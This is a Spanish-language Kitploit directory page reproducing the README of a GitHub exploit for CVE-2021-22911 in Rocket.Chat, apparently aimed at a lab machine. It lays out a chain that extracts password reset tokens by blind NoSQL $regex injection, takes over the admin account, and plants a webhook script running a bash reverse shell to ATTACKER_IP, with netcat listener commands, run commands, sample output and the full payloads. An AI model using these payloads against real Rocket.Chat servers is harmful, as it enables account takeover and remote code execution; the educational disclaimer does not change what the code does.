Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rocketcat-cve-2021-22911-exploit — CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Con fines educativos | Kitploit
Herramientas/GitHubGitHub/roshanrajbanshi/rocketcat-cve-2021-22911-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubroshanrajbanshi/rocketcat-cve-2021-22911-exploit

rocketcat-cve-2021-22911-exploit

CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Con fines educativos

Ver Repositorio
16hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de Rocket.Chat CVE-2021-22911

⚠️ DESCARGO DE RESPONSABILIDAD - SOLO USO EDUCATIVO

Este exploit es solo para pruebas de penetración autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no se hace responsable de ningún uso indebido.

📋 Resumen

CVE-2021-22911 es una vulnerabilidad crítica de inyección NoSQL sin autenticación en Rocket.Chat que conduce a la ejecución remota de código (RCE).

  • Puntuación CVSS: 9.8 (Crítico)
  • Versiones afectadas: Rocket.Chat < 3.12.7
  • Vector de ataque: Red / Sin autenticación
  • Impacto: Compromiso total del sistema

🎯 Detalles de la vulnerabilidad

Este exploit encadena tres ataques de inyección NoSQL:

Fase 1: Restablecimiento de contraseña de usuario de bajo privilegio

  • Envía una solicitud de contraseña olvidada para un usuario de bajo privilegio
  • Utiliza inyección NoSQL ciega con el operador $regex para extraer el token de restablecimiento de contraseña carácter por carácter
  • Restablece la contraseña a un valor conocido

Fase 2: Restablecimiento de contraseña de administrador

  • Repite la Fase 1 pero apuntando a la cuenta de administrador
  • Extrae el token de restablecimiento de contraseña del administrador mediante inyección NoSQL ciega
  • Cambia la contraseña del administrador

Fase 3: Ejecución remota de código

  • Se autentica como la cuenta de administrador comprometida
  • Crea una integración de webhook con un payload de JavaScript
  • El payload utiliza child_process.exec() de Node.js para lanzar una shell inversa
  • Activa el webhook para ejecutar la shell inversa

🛠️ Requisitos previos

pip install requests

🚀 Uso

1. Iniciar el listener de Netcat (Terminal 1)

nc -lvnp 4444

2. Ejecutar el exploit (Terminal 2)

Entrada manual de IP:

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Autodetección de IP tun0 (Recomendado):

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

Argumentos:

  • -u: correo electrónico del usuario de bajo privilegio (debe existir)
  • -a: correo electrónico del administrador
  • -t: URL objetivo (instancia de Rocket.Chat)
  • -i: tu IP de atacante (tun0)
  • -p: puerto del listener de Netcat

Ejemplo de salida

============================================================
  Rocket.Chat CVE-2021-22911 — RCE
  Target : http://chat.rocket.thm
  Shell  : 10.9.0.1:4444
============================================================

[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
    [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE
[!] Start your listener now:  nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
    userid : userid123456789
    token  : token123456...
[+] Webhook created
    http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener

🔍 Detalles técnicos

Formato del payload de inyección NoSQL

{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

Payload de RCE (Script de Webhook)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 Referencias

  • Exploit original: enox - Exploit-DB 50078, 50108
  • Análisis de vulnerabilidad: Blog de SonarSource
  • Detalles del CVE: CVE-2021-22911

📝 Créditos

  • enox - Desarrollo del exploit original
  • SonarSource - Investigación y análisis de la vulnerabilidad

⚖️ Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es un delito penal según la Computer Fraud and Abuse Act (CFAA) y leyes internacionales similares.


Úsala de forma responsable. Solo prueba sistemas que poseas o para los que tengas permiso explícito por escrito.

Descargar herramienta